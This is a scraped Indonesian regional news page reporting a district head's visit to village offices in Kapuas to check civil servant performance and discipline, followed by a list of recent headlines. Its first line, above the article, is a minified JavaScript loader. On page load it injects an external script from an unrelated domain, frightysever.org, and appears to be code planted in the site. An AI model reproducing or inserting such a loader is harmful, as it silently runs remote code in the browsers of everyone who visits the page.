(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Cek Kinerja ASN, Camat Selat Pantau Layanan Kelurahan


KANALKALIMANTAN. COM, KUALA KAPUAS – Meningkatkan kinerja Aparatur Sipil Negara (ASN), seluruh kantor kelurahan lingkup Kecamatan Selat, Kabupaten Kapuas, Kalimantan Tengah, didatangi Camat Selat, Yaya Setiabudi SSos, Kamis (4/8/2022).

Camat Selat, Yaya Setiabudi mengatakan, sebagai ASN harus bekerja sesuai dengan regulasi yang telah ditetapkan dan jangan sampai keluar dari rel yang telah ada.

“ASN harus bisa memberikan kontribusi pengabdian pada masyarakat bangsa dan negara, bisa dipertanggungjawabkan pada negara,” tegas Yaya.

Kinerja ASN harus lebih baik, pelayanan pada masyarakat harus meningkat, kemudahan pelayanan yang bersih harus dikedepankan. Selaku ASN harus memiliki SOP yang terukur jelas dalam pelayanan, dengan nilai budaya kerja jadi acuan dalam melaksanakan tugas.

 

Baca juga  : Tiga Nakes RSD Idaman Kota Banjarbaru Raih Penghargaan Tingkat Provinsi

“Diantaranya integritas, apa yang dilakukan sesuai ucapan, ini akan menunjukkan suatu komitmen, kemauan dan kemampuan harus selaraskan dalam sikap dan tindakan, ASN harus mengutamakan kepentingan dinas dari pada kepentingan pribadi. Disiplin, kesanggupan untuk mentaati aturan regulasi yang ada, kerjasama dan keteladanan ASN dalam memotivasi sebagai upaya menggerakkan orang lain untuk bersinergi,” jelas Camat Yaya Setiabudi.

Selanjutnya, seorang ASN harus bekerja sesuai dengan tupoksinya dan tetap mengacu kepada Undang-Undang dan peraturan yang menyangkut kepegawaian dan disiplin pegawai negeri sipil.

Terus tingkatkan kompetensi dan profesionalisme guna mendukung tugas pokok dan fungsinya, mampu memahami dan mengimplementasikan Peraturan Pemerintah Nomor 53 tahun 2010 tentang disiplin PNS.

“Sebagai Lurah kepada stafnya harus menegur, sehingga terhindar dari pelanggaran disiplin, dan sekecil apapun permasalahan yang menyangkut pelanggaran disiplin seorang ASN, segera ditindak dan di selesaikan sesuai dengan aturan yang ada,” pungkasnya.(Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.